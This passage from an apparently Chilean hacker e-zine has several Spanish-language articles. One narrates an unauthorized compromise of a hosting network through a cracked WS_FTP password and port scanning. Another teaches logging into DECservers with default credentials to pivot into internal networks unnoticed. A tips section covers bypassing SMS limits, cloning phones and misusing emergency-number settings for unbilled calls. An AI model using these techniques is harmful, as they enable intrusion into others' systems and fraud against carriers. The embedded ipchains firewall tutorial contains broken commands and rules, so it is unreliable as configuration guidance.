PASVMODE=1
TIMEOFFSET=0
PORT=9053
Vemos como el administrador del mailserver accesaba por ftp al servidor web
quizas para hacer mantencion...
Ups! es el servidor Win200 que estab tan seguro y supuestamente no tenia FTP.
Pues bueno, simplemente lo habian puesto a correr el servicio en un puerto
mas alto (9053).
Como crackeamos la pass? Pueden ponerla en http://www.hispasec.com/wsftp.asp
y crackearla en linea. O simplemente pescar el archivo ini, llevarlo a su
Win, y copiarlo en el directorio del WS FTP, y asi conectar.
Lo raro aqui fue q al entrar solo mostraba un directorio, una sola web. Siendo
un hosting eso es raro. Que hice? simplemente escanear los puertos cercanos
al 9053.. desde el 9000 hacia arriba. Resulto q el server estaba corriendo
para cada puerto un directorio distinto. El primer puerto resulto ser 9021,
y ftpeando hacia alla logramos entrar al directorio raiz del hosting,
teniendo ante nosotros 90 sitios webs. Y completando el 100% de la red bajo
control. Todo por un NT que nadie pescaba.
6.0 FIN
Bueno, hay mucho mas que hacer en esta red. Esto fue solo el principio, de alli
en adelante tenemos 5 servidores a nuestra dispocicion. Imaginen. Esto fue todo
por ahora, un caso de la vida real, una oportunidad que aun que no crean, se da.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Firewall & IP Chains) >>>--------------------[ by ViC3nT BlaCk ]-----=>
Mucho se habla de la seguridad en Sistemas Operativos, y por supuesto las
criticas caen siempre en Windows y todas sus versiones. Es tema conocido
que con cada nueva version del Famoso Software de Microsoft vengan tambien
nuevos bugs y nuevas formas de introducirse ilegalmente al sistema, en este
sentido Linux siempre ha sido alabado por ser mas estable y mas seguro pero
CUIDADO!, Linux es mas estable, pero para que sea seguro se debe desarrollar
una forma de que lo sea, ya que al ser un sistema en crecimiento y desarrollo
no esta libre de bugs.
Debemos preocuparnos de nuestro sistema, informandonos de los nuevos bugs y
updates que existen y securizandolo con la forma mas sencilla y accesible
que existe, un FIREWALL. Crearlo no es dificil ni hay que tener inmensos
conocimientos, solo ganas y paciencia, y leer harto.
Este texto lo unico que hace es ensear a crear un Firewall Sencillo para
uso domstico y por que no, Para proteger alguna Lan pequea o no tan pequea.
Bueno no mas blabla y vamos al grano.
Para Comenzar voy a explicar algunas reglas de Ipchains, que aunque es mas o
menos complicado porque hay que entender bien lo de las cadenas, sirve
bastante a la hora de hacer un firewall.
Las cadenas son reglas que usa el Kernel para poder evaluar si un paquete
tiene que salir o entrar, estas reglas son tres, input, output y forward.
Cuando el paquete entra kernel consulta la cadena input si pasa esta regla
decide el destino de el mismo(routing), si es dirijido a otra maquina usa para
consulta la cadena forward y si solo tiene que salir usa la cadena output.
Comando: Ipchains
Uso: ipchains - A | I [cadena] [-i interfaz] [-p protocolo] [[!] -y] [-s
direccion[puerto[:puerto]]] [-d direccion[puerto[:puerto]]] -j directiva [-l]
-A [cadena] Agrega una regla al final de una cadena, si no especifica una
cadena
la regla se aplica a todas las cadenas.
-l [cadena] Inserta una regla al principio de una cadena, si no se
especifica
una cadena, la regla se aplica a todas las cadenas
-i Especifica una interfaz de red a a la que se aplica la cadena, si
no
se especifica la interfaz, la regla se aplica a todas las
interfaces
las que pueden ser eth0, eth1 o y ppp
-p Especifica el protocolo al que se le aplica la regla, si no se
usa
esta opcion la regla se aplica a todos los protocolos, los
cuales
pueden ser TCP, UDP, ICMP o ALL, tambien se permiten nombres
de
protocolos o numeros de protocolos del archivo /etc/protocols.
-y Esta regla no la entiendo mucho, pero es para que compruebe los
bits
indicadores de paquetes, o sea controlar que el paquerte
venga
integro. Es para el indicador SYN que recibe el paquete.
!-y Esta es la misma que la de arriba, pero para responder si el
paquete
llego o no, es para el indicador ACK
-s [] Especifica la direccion de origen del paquete. Si no
se
especifica direccin origen estan implicadas todas
las
direcciones de origen multidifusin, si se especifica
un
puerto o un intervalo de puertos la regla solo se aplica
a
estos, sino se especifica un puerto la regla se aplica
a
todos los puertos. no se puede especificar un puerto
sin
una direccion.
-d [] Especifica una direccion de destino.
-j Especifica la directica de disposicion del paquete para esta
regla,
ACCEPT, DENY o REJECT, la cadena forward puede usar la
directiva
MASQ(para enmascarar).
Bueno, estas son las opciones principales para hacer el firewall y entender de
que
estamos hablando. Ahora vamos al grano y crearemos un Firewall con Ipchains, este
es
solo para protejerse y dejar salir algunos servicios. Hay que destacar que las
reglas
de Ipchains quedan guardadas en RAM, asi que si el equipo se reinicia o algo por
el
estilo estan quedaran borradas, asi que es bueno activar el firewall siempre a
la
entrada, con un script o agregandolo en el rc.local o como el usuario
estime
conveniente.
Este Firewall es para una conexion casera.. mediante ppp
##################################################################################
###
COMIENZO DEL FIREWALL
##################################################################################
###
#!/bin/sh
#Aca habilitamos el forward y las tcp_syncookies por si aca para no sufrir un
ataque DOS
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
#ahora nos encargamos de limpiar todas las reglas de la RAM
ipchains -F
ipchains -X
#ahora se definen algunas variables para no tener que escribirlas siempre
iplocal=iplocal/mascara #la mascara es la que usa el host o la red se
especifica en bits onda #255.255.255.255=32 bits (4 octetos)
dns=direcciondelDNS/mascara #lo mismo, pero si no saben la mascara no pongan
nada
mailserver=direcciondelmail/mascara #again
#bueno queda mas que claro que aca defines variables para poder dar acceso a los
servidores
#Comenzamos con las reglas ahora, aceptamos
#creamos una chain para salida ppp
ipchains -N ppp-out
ipchains -A output -i ppp0 -j ppp-out
#aca dejo salir para cualquier servicio, telnet ftp, web.. lo que sea lo ultimo es
pa acelerar el asunto
ipchains -A ppp-out -p TCP -d 0.0.0.0/0 -t 0x01 0x10
#aca se crea una cadena para controlar la entrada
ipchains -N ppp-in
ipchains -A input -i ppp0 -j ppp-in
#Aca dejo pasar el DNS completo, aunque se puede dejar pasar solo consultas DNS
con la variable domain que va despues de la $iplocal
ipchains -A ppp-in -p UDP -s $dns -d $iplocal -j ACCEPT
ipchains -A ppp-in -p TCP -s $dns -d $iplocal -j ACCEPT
#Aca pasan los datos de FTP en caso de que hagamos alguno solo por puertos
restringidos
ipchains -A ppp-in -p TCP -s 0.0.0.0/0 ftp-data -d $iplocal 1024:5999 -j ACCEPT
ipchains -A ppp-in -p TCP -s 0.0.0.0/0 ftp-data -d $iplocal 6010: -j ACCEPT
#podemos dejar pasar otros servidores tal como el mail
ipchains -A ppp-in -p TCP -s $mailserver -d localhost pop-3 -j ACCEPT
#Aca dejo acceso a algun otro servicio, en este caso el IRC de Terra puedes
especificar el puerto, yo lo deje completo
ipchains -A ppp-in -p TCP -s irc.terra.cl -d $iplocal -j ACCEPT
#esta regla es para los paquetes de ACK que reciben bits de control TCP
ipchains -A ppp-in -p TCP ! -y -j ACCEPT
#dejamos la Interfaz interna aceptada
ipchains -A input -i lo -j ACCEPT
#y dejamos predeterminado denegar TODO.
ipchains -P input DENY
#fin
##################################################################################
###
Bueno la razon por la que dejamos denegado para la cadena input, es que la
mejor
forma de hacer un firewall es denegando TODO y controlando por entrada, asi
damos
acceso a quienes nos da la gana, ahora presentare un firewall para interfaces
de
red, o sea para una red interna, que es mas o menos lo mismo, pero un poco
mas
sencillo puesto que no se debe crear ninguna cadena en especial.
##################################################################################
###
COMIENZO DEL FIREWALL LAN
##################################################################################
###
#!/bin/sh
#Declaramos variables
iplocal=iplocal/mascara
dns=ipdeldns/mascara
mailserver=ipmailserver/mascara
# aceptamos todo lo que salga de la iplocal
pchains -A output -p ALL -s $iplocal -d 0.0.0.0/0 -j ACCEPT
# Dejamos pasar la informacion del DNS TCP y UDP (Para poder resolver nombres)
ipchains -A input -j -p UDP -s $dns domain -d $iplocal -j ACCEPT
ipchains -A input -p TCP -s $dns domain -d $iplocal -j ACCEPT
# habilitamos el mail por supuesto
ipchains -A input -p TCP -s $mailserver -d $iplocal pop-3 -j ACCEPT
#Telnet desde el equipo que elijamos
ipchains -A input -p TCP -s ipinvitado -d $iplocal telnet -j ACCEPT
# FTP desde donde elijamos con el ftp-data para la transferencia
ipchains -A input -p TCP -s ipinvitado -d $iplocal ftp -j ACCEPT
ipchains -A input -p TCP -s ipinvitado -d $iplocal ftp-data -j ACCEPT
#Aca aceptamos los paquetes ACK para control TCP
ipchains -A input -p TCP ! -y -j ACCEPT
#y dejamos aceptando ping, traceroute, en general, paquetes icmp
ipchains -A input -p ICMP -s 0.0.0.0/0 -d $iplocal -j ACCEPT
#y la directiva predeterminada (ya explique por que anteriormente)
ipchains -A input DENY
FIN
Ya al finalizar destaco que a pesar de que los 2 firewalls son bastante basicos
en la creacion de reglas y puesta en funcionamiento ambos funcionan en teoria,
pero lo importante es que da nociones basicas para comenzar algo mas avanzado
y que ofresca mas seguridad de la que se ofrece aca.
La informacion para la creacion de los firewalls ha sido sacada del
conocimiento personal y del ipchains-howto disponible en la red y del libro
firewall linux, el cual recomiendo.
Gracias a s0ul y Kristo por ayudarme a probar los ejemplos..
En el proximo texto explicare como enmascarar con ipfwadm
Hasta luego man
=ViC3nT BlaCk=
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< DECservers >>>-------------------------------------[ by ThEye ]------=>
Hola,con este peque~o articulo pretendo introducir un poco a la exploracion
de los sistemas DEC que,segun mi opinion,son bastante interesantes ya que no
son como las demas maquinas ,sino que son algo,no completamente pero
si muy,diferentes al resto de los comunes *NIXES y NT que mucha gente conoce.
Quiero antes que nada se~alar que no soy ningun experto en cuanto a esto de
los DECserver ni tampoco de *nix y ni siquiera de windows,por lo tanto es
posible que algunas cosas que aqui coloque pueden estar erradas,desde ya
pido disculpas por eso.
Primero veamos que es un DecServer para luego saber que es lo que
haremos una vez estemos dentro de uno,para esto que mejor que revisar los
manuales de esta maquina:
This manual, in conjunction with the DECserver 700 Hardware
Installation Card, describes how to install the DECserver 700
network access server and how to verify its operation. This
manual also describes the controls and indicators. This manual
is intended for the hardware installer and the network manager.
Supersession/Update Information: This is a revised manual.
Software Version: DECserver Network Access Software V1.0
The DECserver 700 connects devices (such as printers, terminals, PCs,
and modems) to local area networks (LANs).
The DECserver 700 is Ethernet/IEEE 802.3-based and supports standard
Ethernet/IEEE 802.3 and 10BaseT Ethernet/IEEE 802.3 directly, and
ThinWire TM Ethernet/IEEE 802.3 through an adapter.
Como pueden ver en la primera parte dice claramente DECserver NETWORK
ACCESS SERVER, es decir es una maquina que sirve para loguear y luego entrar
en la red interna de la organizacion,un verdadero mayordomo :) .Luego nos
dicen que los DECservers son hardware del tipo Ethernet y que a el pueden
conectarse impresoras ,terminales ,pcs ,modems ,etc.El programa
que corre (SO) es el DECserver NETWORK ACCESS SOFTWARE ,como podemos
comprobarlo al hacer un escaneo de puertos con nmap usando la opcion -O para
que nos diga que SO corre la maquina que estamos viendo:
TCP Sequence Prediction: Class=64K rule
Difficulty=1 (Trivial joke)
Remote operating system guess: DECserver700-16, Network Access SW V2.2
Bueno ya que sabemos que es un DECSERVER practiquemos un tanto en alguno
que ande por ahi.
Obviamente lo primero que debemos hacer es entrar,y si no sabemos alguna
password veremos frustradas nuestras intenciones,pero como sabemos hay algunos
server que tienen los usernames y passwords por defecto corriendo ya sea por
ignorancia de quien se encarga de su sistemaje o por simple negligencia.En el
caso de los DecServer se sabe que usernames por defecto son ACCESS Y SECURITY.
Al telnetear el DecServer recibiremos una respuesta como esta:
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'. [THY: como pueden observar no recivimos ninguna
respuesta por parte del server]
bueno aca no reciviremos un prompt como LOGIN sino que debemos teclear los
users que vimos mas arriba (uno solo) y presionar enter.Los que lleguen hasta
aca se daran cuenta que no existe echo (es decir no vemos lo que escribimos)
bueno eso no es un gran problema asi que no nos preocuparemos...luego veremos
esto:
DECserver 300 Terminal Server V2.1 (BL29-2) - LAT V5.1
(c) Copyright 1991, Digital Equipment Corporation - All Rights Reserved
Please type HELP if you need assistance
Enter username>
como username podemos poner cualquier cosa.
Una vez dentro debemos empezar a buscar que comandos son los que comprende
esta maquina.Comenzemos con help...
Local> help
HELP
********** Help Screens Copyright 1988, 1989, 1990, 1991 **********
Digital Equipment Corporation
The online HELP facility allows you to access reference and tutorial
information. Choose one of the following options:
o Enter TUTORIAL or HELP for information on using HELP and basic user
functions.
o Choose a HELP topic from the following list:
BACKWARDS BROADCAST CHANGE CLEAR
CLOSE CONNECT DEFINE DISCONNECT
FORWARDS HELP LIST LOCK
LOGOUT OPEN PING PURGE
RESUME SEND SET SHOW
TELNET TEST TUTORIAL
Topic?
La forma de usar esta ayuda es un tanto extra~a,si escribes cualquier
palabra te manda a la parte que pediste o bien te responde con un mensaje de
topic no encontrado.Es posible que las primeras veces se te haga dificil usarla
pero luego veras como te acostumbras.Para salir solo presiona enter hasta que
veas el prompt ( Local> generalmente.).Probemos pidiendo ayuda sobre algun
comando,por ejemplo telnet...
Topic? telnet
CONNECT TELNET/TELNET/OPEN
Use this command to connect to an internet host. You must specify TELNET if
TELNET is not the port's default protocol.
{CONNECT} [TELNET] {inet-address} [[PORT] tcp-port]
{OPEN } {host-name }
{TELNET }
inet-address the internet address of the host to be connected.
host-name the internet domain name of the host to be connected.
tcp-port optional Telnet/TCP port number.
Topic?
ahora sobre connect que obviamente esta relacionado con telnet...
Topic? connect
CONNECT
Requests a connection to the specified target. The target can be a LAT service,
an internet host or a SLIP session.
CONNECT [ANY ]
[LAT|SERVICE]
[SLIP ]
[TELNET ]
Additional help available for:
ANY LAT SERVICE SLIP TELNET
CONNECT Subtopic?
aca puedes poner un subtopic del topic de ayuda connect,por ejemplo slip o lat
o alguna de las opciones que nos dan.Todo ok hasta ahora,para conectarnos a un
server solo debemos poner connect y su domain o ip.
Una red de DecServers actuan como uno solo .Ademas es posible que
maquinas con otros SO este conectados a este.Para ver los sistemas
que tienen corriendo una conexion con nuestro DEC escribimos lo siguiente:
sh nodes
sh services
lo que equivale a escribir show nodes o show services.
Ahora veamos un ejemplo de lo que recivimos:
Local> sh services
Service Name Status Identification
PERICOTE Available Digital UNIX Version V4.0 LAT SERVICE
LAUCHA Available Digital UNIX Version V4.0 LAT SERVICE
RATON Available Digital UNIX Version V3.2 LAT SERVICE
esto en el caso de show services,para show nodes es esto...
Local> sh nodes
Node Name Status Identification
PERICOTE Reachable Digital UNIX Version V4.0 LAT NODE
LAUCHA Reachable Digital UNIX Version V4.0 LAT NODE
DECSERVER Reachable
GUAREN Reachable Digital UNIX Version V3.2 LAT NODE
RATON Reachable Digital UNIX Version V4.0 LAT NODE
como puedes ver hay un DECSERVER,ese eres tu.
Por ejemplo,para conectar a la maquina PERICOTE escribes:
c pericote [lo que equivale a "connect pericote"]
y para hacerlo a la maquina LAUCHA se escribe lo mismo pero reemplazas
pericote por laucha.Por alguna razon es posible que tu conexion no sea
aceptada,en ese caso reciviras esta respuesta:
Local> c pericote
Local -234- Connection to PERICOTE not established
Service Disabled
...bueno nuestros ojos ven que pericote esta disponible,sin embargo
al tratar de conectar con el nos dice que no lo esta,que significa
esto? significa que como podemos ver en el resultado de show
nodes,pericote recive conexiones via LAT,por lo tanto debemos
especificar eso,ahora bien si tu maquina objetivo acepta
conexiones telnet no debes especificar nada (eso si telnet esta por
defecto).Supongamos que la maquina a la que quieres entrar es un
RedHat,entonces reciviremos el login que corresponde a un RedHat,por ejemplo
este:
Red Hat Linux release 6.1 (Cartman)
Kernel 2.2.12-20 on an i686
login:
esto sera asi solo si no han cambiado el mensaje de login en ese server,de
otra forma nos encontraremos con un mensaje personalizado diciendonos que
esta es la maquina de X empresa ,institucion o algo parecido.
Hablando ahora con respecto al LAT antes mencionado.LAT significa Local
Area Transport y es un protocolo desarrollado por la misma Digital Equipment
Corporation.Su funcion principal es la de comunicar maquinas DEC,y para que
el protocolo LAT se use se asume que el hardware disponible es del tipo
Ethernet,o sea,para establecer una conexion con otro nodo,el DECserver debe
conocer la direccion ethernet del nodo destino,por lo tanto la respuesta al
porque no se pudo conectar al nodo pericote radica en que no conocia la
direccion ethernet o algo parecido.Bueno este articulo trata sobre los DEC
en si,y no del protocolo LAT.Para saber mas sobre este protocolo los remito
al articulo escrito por Lagarto para SET 12 llamado EL LAT :D .
Tal vez no es muy logico entrar a un DECserver,que es un tanto
problematico de manejar,la mejor opcion para cubrir nuestra entrada a otro
server,pero esto se hace ya que es posible que veamos dentro de sus
conexiones una maquina a la cual queremos acceder y que no es posible
alcanzarla desde internet u otro host ya que verifica el ip del sistema que
le pide permiso de entrada,entonces,como nuestro DECserver tienen una ip en
la cual el host objetivo confia,podemos saltarnos ese peque~o problema.
Sigamos explorando los comandos con la ayuda que nos brinda help...
Topic? send
SEND TELNET
Sends the Telnet functions as indicated:
SEND TELNET {AO}
{AYT}
{BRK}
{EOR}
{IP}
{NOP}
{REQUEST STATUS}
{RESUME OUTPUT}
{SYNCH}
AO (Abort Output) aborts any output currently on its way to the
terminal.
AYT (Are You There) causes the remote host to send a message
indicating that it is up and running.
BRK (Break) sends a Telnet Break command to the remote host.
EOR (End of Record) sends a Telnet End-of-Record command to the
remote host.
IP (Interrupt Process) sends a command to the remote host which
interrupts or aborts a remote process.
NOP (No Operation) sends a Telnet No-Operation command to the
remote host.
REQUEST STATUS requests that the peer Telnet implementation send the status
of all Telnet options for the session.
RESUME OUTPUT causes the session to resume after a SEND TELNET AO command
has been sent.
SYNCH causes data currently on its way to the remote process to
be dropped.
bastante claras las opciones,pero por ahora no usaremos nada de esto.
Veamos que pasa si ponemos help como topic de ayuda...
Topic? help
TUTORIAL
The terminal server provides a variety of user functions. To learn these
functions, type the UPPERCASE word of your topic at the prompt.
By not typing a topic and pressing the Return key, the "TOPIC?" prompt appears.
This places you at the HELP screen. Pressing the Return key at "TOPIC" places
you at the terminal server prompt (referred to as the local prompt). The local
prompt might appear as "Local> " but can be changed by the person managing the
terminal server. (Use the SHOW SYSTEM command for this person's name.)
Type HELP at "TUTORIAL Subtopic?" for information on using HELP. Use the HELP
facility for information on specific commands.
To logout of the terminal server, type LOGOUT at the local prompt.
Topics:
CONNECTing to a System SESSIONS
COMMAND Line Recall SLIP session
FILE Transfers SPECIAL Keys
HELP Conventions TD/SMP - Session Management
LOCKING Your Port TERMINAL Server Features
PORT and Device Characteristics
TUTORIAL Subtopic?
se puede ver que si ponemos show system veremos algo interesante,pidamos
primero ayuda para saber que es...
Topic? show system
SHOW/LIST SYSTEM
Displays the terminal server system characteristics.
{SHOW} SYSTEM [CHARACTERISTICS]
{LIST}
SHOW Subtopic?
No muy explicito,mejor veamos la ayuda de show...
Topic? show
SHOW
Use SHOW commands to display current status or information about various
options from the server's operational database.
Additional help available for:
INTERNET NODES PORT QUEUE
SERVER SERVICES SESSIONS SNMP
SYSTEM USERS TELNET
SHOW Subtopic?
como pueden ver bastante interesante y algunos de ellos ya los probamos,
veamos el resto... :D
Local> sh users
Port Username Status Service
1 MICKEYMOUSE Connected RATA
9 MINIE Connected RATA
Local> show system
Contact:
Location:
Local>
...no obtuvimos respuesta para show system...no sabria decir porque,por lo
menos podemos ver los users,y quien sabe si estos users estan registrados en
otros servers y con una password facil??...informacion que puede ser util :) .
Mmmm...la info que tenemos sobre connect no era muy buena,pidamos mas ayuda
sobre connect...
TUTORIAL Subtopic? connect
CONNECTING TO A SYSTEM
Use the CONNECT command to connect to a system. The terminal server supports
the LAT, Telnet, and SLIP protocols. If the protocol is not specified in
the CONNECT command, the terminal server uses the default protocol. You
specify the default protocol with the SET/DEFINE/CHANGE PORT DEFAULT PROTOCOL
command. To connect to a LAT service named MYSYSTEM:
Local> CONNECT LAT MYSYSTEM
You do not need to type LAT if that is the default protocol. The SHOW SERVICE
command displays the available LAT services. To connect to an internet host
named SALES.MGT.COM:
Local> CONNECT TELNET SALES.MGT.COM
You do not need to type TELNET if that is the default protocol. You can use
OPEN or TELNET instead of CONNECT, and you can substitute the host's internet
address for the name.
Each connection to a system is called a session. You end a session by logging
out of the system or using the DISCONNECT or CLOSE command at the local prompt.
Type SESSIONS for further information.
TUTORIAL Subtopic?
bueee...no llegamos a nada mas explicito...pura perdida de tiempo :( . Ademas
hay algo que me ha llamado la atencion,si pido conectar a un host cualquiera o
incluso a un host de la misma red del DEC,es frecuente que me encuentre con una
respuesta como esta:
Local> c telnet mickey.rata.disney.com
Local -427- No address associated with name
...al parecer hay que especificar que ip tiene el host,bastante incomodo pero
bueno no nos vamos a quejar tampoco,al fin es una peque~ez nada mas.Bueno
sigamos con las variantes de show...
Local> show internet
Internet Address: 1.2.3.4.
Subnet Mask: 255.255.255.0
Local> show server
DECserver 300 V2.1 BL29-2 LAT V5.1 ROM 1.0.6 Uptime: 5 05:09:04
Address: 08-00-2B-26-82-58 Name: DSDPI21 Number: 0
Identification:
Circuit Timer: 80 Password Limit: 3
Console Port: 1 Prompt: Local>
Inactivity Timer: 2 Queue Limit: 100
Keepalive Timer: 20 Retransmit Limit: 8
Multicast Timer: 30 Session Limit: 64
Node Limit: 200 Software: SH1601ENG
Service Groups: 0
Enabled Characteristics:
Announcements, Broadcast, Dump
Sigamos revisando help show...
SHOW Subtopic? telnet
SHOW/LIST TELNET LISTENER
Displays information about Telnet listeners on the terminal server.
{SHOW} TELNET LISTENER {ALL } [CHARACTERISTICS]
{LIST} {tcp-port}
ALL displays all Telnet listeners in the terminal server.
tcp-port specifies the TCP port number associated with the listener.
CHARACTERISTICS displays the Telnet listener characteristics.
SHOW Subtopic?
ya que sabemos algo nuevo,lo ponemos en practica ...
Local> show telnet listener ALL
Listener TCP-port: 23
Identification: Telnet Console
Ports: Console
Connections: Enabled
Listener TCP-port: 2001
Identification:
Ports: All
Connections: Enabled
Listener TCP-port: 2002
Identification:
Ports: All
Connections: Enabled
Listener TCP-port: 2003
Identification:
Ports: All
Connections: Enabled
Listener TCP-port: 2004
Identification:
Ports: All
Connections: Enabled
...ok,ahora si ponemos SHOW TELNET LISTENER ACA_EL_PUERTO CHARACTERISTICS nos
encontraremos con que nos dice lo mismo que vemos aca sobre todos los puertos
pero esta vez sobre el puerto que hemos especificado.Toda esa mara~a de info
sobre los puertos del DEC nos dicen cuales estan abiertos ,donde debemos
identificarnos y si esta habilitado o no.
Veamos ahora el comando list:
Topic? list
LIST
Use the LIST command to display information about various options from the
permanent database.
Additional help available for:
INTERNET PORTS SERVER SERVICES SYSTEM TELNET
sigamos con un subtopic...
LIST Subtopic? internet
SHOW/LIST INTERNET
Displays information associated with the terminal server internet database.
{SHOW} INTERNET [ARP ENTRY ]
{LIST} [CHARACTERISTICS]
[COUNTERS ]
[GATEWAY ]
[HOST ]
[NAME RESOLUTION]
Additional help available for:
ARP CHARACTERISTICS COUNTERS GATEWAY HOST NAME
SHOW/LIST INTERNET Subtopic?
ahora veamos algo...
Local> list internet host Internet Address Name
1.2.3.9 RATON
1.2.3.6 PERICOTE
1.2.3.8 LAUCHA
1.2.3.4 DECSERVER
1.2.3.2 GUAREN
nuevamente el DECSERVER eres tu...esto solo nos a proporcionado las ips de los
servers,cosa que podemos conseguir sin necesidad de loguearnos al decserver,un
simple ping desde nuestro pc y listo,por lo tanto esto no sirve.Sigamos...
Local> list internet CHARACTERISTICS
Internet Address: 1.2.3.4.5
Subnet Mask: 255.255.255.0
exactamente lo mismo que show internet...
Local> list internet gateway
Gateway: 1.2.3.1 Network: any
bueno el gateway corresponde al ip 1.2.3.1 el cual es un router...veamos otro
comando:
Local> list internet counters
TCP Segments:
Transmitted: 1066096 Bytes Transmitted: 794048
Data: 549856 Bytes Data: 758197
Data Retransmitted: 3440 Bytes Data Retransmitted: 35851
Other: 512805 Bytes Received: 68975627
Received: 763097
Segments Discarded: 0
Internet Connections:
IP Packets Transmitted: 1068130 Requested: 263
IP Packets Received: 763180 Accepted: 30
IP Fragments Received: 0 Established: 279
IP Fragments Dropped: 0 Closed: 263
IP Error in Header: 0 Dropped: 45
ICMP Messages: UDP Datagrams:
Transmitted: 81 Transmitted: 1
Received: 82 Received: 1
Dropped: 0 Dropped: 0
Destination Unreachable: 2
datos estadisticos mas que nada... nada muy interesante.
Talvez ya muchos han entrado a una maquina de estas y estan preocupados
por las huellas que talvez dejaron en el server.Debido a que no soy un experto
en nada y menos en DECservers no sabria decir si estas maquinas guardan logs
aunque me parece que no lo hacen ( ME PARECE , no estoy nada seguro ) asi que
pueden estar tranquilos aquellos que accedan a estos aparatitos.Me gustaria
que la gente que sepa mas sobre estos servidores ( ojala un administrador )
contacte conmigo para intercambiar pareceres al respecto.
Bueno esto seria todo en cuanto a DECservers en este numero,si el
articulo gusta es posible que prosiga con el en el proximo numero. Opiniones,
criticas o cualquier cosa referida a este articulo sera muy bien recivida
en
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Salu2
ThEye [
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< QuickTip: SMS/Celular/PCS >>>---------------------[ by NDR113 ]------=>
0) SMS Entel
Short Message System, osea Sistema de Mensajes Cortos, fue la movida del ao.
Todo el mundo enviando mensajes por el apartito -obviamente Entel, pues el SMS
es una caracteristica del sistema GSM, sistema q solo utiliza Entel PCS-. Pero,
el furor paso y ahora hay q pagar, no mas mensajes gratis. Pero... esta la web
de Entel PCS -www.entelpcs.cl- donde se pueden enviar mensajes... pero hasta 3
solamente al mismo numero en un dia... problema? no, simplemente hay q cambiar
la fecha del reloj -date, time, etc- y enviar cuantas veces se quiera. Como
es posible eso? Entel utiliza Cokies, es decir un certificado q al enviar un
mensaje se guarda en tu tarro con info de la fecha y mensaje enviado, asi cuando
vuelves a enviar el sitio revisa el cookie y compara la hora del sistema -la q
puedes cambiar- para ver si te deja enviar. A todo esto el cookie es emitido
por 164.77.252.195, q corresponde a www.pcsrent.cl. alguien quiere hecharle una
mirada? XD
i) Nokia5120i
Este es mas que un articulo, es un tip cortito acerca de los celulares
Nokia 5120i, entregados por Bellsouth y CTC Startel aqui en Chile.
No tengo el Nokia5120 a mano para nada, ya que tengo un fono Samsung,
asi que disculpen si me equivoco en algun lado, pero escribo casi de memoria
por que no tengo como comprobar y chequear.. trato de recordar aquel domingo
4 de Junio en que llego a mis manos el aparato por casualidad y empeze a
probar... a las horas tuve que devolverlo.. :(
En estas maquinitas, como quedo dicho en FYE3 por Jubah, al marcar
*3001#12345# se obtiene un menu en el que estan las opciones y configuraciones
fundamentales del celular, estas son:
NAM1 <- Configuraciones y identificadores primarios del celular
NAM2 <- secundarios del celular
SECURITY <- Seguridad, claves, bloqueo, etc
EMERGENCY <- Numeros de emergencia
SW VERSION <- Version del software del celular
SERIAL NO <- Numero Serial del aparato
TEST FIELD <- Prueba de Campo... prueba seal, frecuencia, etc
PROGRAMMED <-
NAM1 y NAM2 cotiene la informacion basica del celular, como su numero,
su ID -es decir el identificador unico que representa a tu celular ante la
red de tu proveedor movil, etc.
Se me ha pasado por la mente que al ser estos valores modificables, por que
no ver que pasa cuando utilizamos las mismas configuraciones para dos
aparatos celulares? Clonacion. Lamentablemente no tengo esos dos celulares,
por eso estoy esperando que algun lector interesado pesque la maquinita
le pele otro a un amigo y comienze a probar.
El menu SECURITY lo explico Jubah en FYE3, asi que no creo necesario volver
a hacerlo.
Finalmente, en EMERGENCY, te programan los numeros que son considerados
de emergencia y por lo tanto al ser marcados, se supone que el aparato
envia un TAG -o etiqueta- antes del correspondiente numero para que la
llamada no sea tarifada. Que pasa si cambiamos el 133 -fono de la policia
chilena, alias Carabineros- que debe tener, por otro numero, luego apagamos
reiniciamos el equipo, y marcamos el numero que recien ingresamos como
de emergencia? Pues llama y en pantalla dice que se esta llamando a un
numero de emergencia... :)
Se concreta la llamada? Aqui pueden pasar varias cosas, por ejemplo,
Caso 1 - Telefonica Movil - Tarjeta de Prepago
Provee la otra ves con cierto compadre del DalNet. Al cambiar el emergency
por un numero de un telefono fijo le decia que estaba bloqueado para tales
llamadas... :(
Mas, luego provo cambiando el numero por el de mi celular y logro hacer la
llamada... :)
Caso 2 - Telefonica Movil - 0 Plata Cargada
Este fono picante sin ni un peso encima es obviamente del picante del
ThEye XD . Bueno el no pudo concretar llamada alguna a ningun telefono tanto
movil como fijo.
Caso 3 - Bellsouth - Tarjeta de Prepago
Aqui la cosa marco pero tampoco comunico, por estar segun la linda voz
de la grabadora, no autorizada para realizar estas llamadas...
eso si, la cosa no fue tan simple... al marcar un telefono no existente
en la red fija -55200000- en ves de salir el mensaje de Bellsouth, salio
el de Telefonica, es decir, al menos la llamada logra salir de la red movil
y pasa a la red fija... quizas no todo este perdido.
Caso 4 - Tu Celular
Los invito a probar que pasa... si, pesquen su weaita de aparato, y vean
que aparte de jugar la wea de la vibora -en todo caso es mejor
el nibbles para qbasic- tb se pueden hacer otras cosas...
exploren y revisenlo completo... prueben y experimenten.
ii) AudioVOX PCX-1100 XLS
Este fono CDMA de carcaza plateada y entreago por Smartcom PCS aqui en Chile,
tiene al igual que todo fono movil, un menu para programar y fijar su
informacion de programacion. Como acceder a este menu? #22202200 END
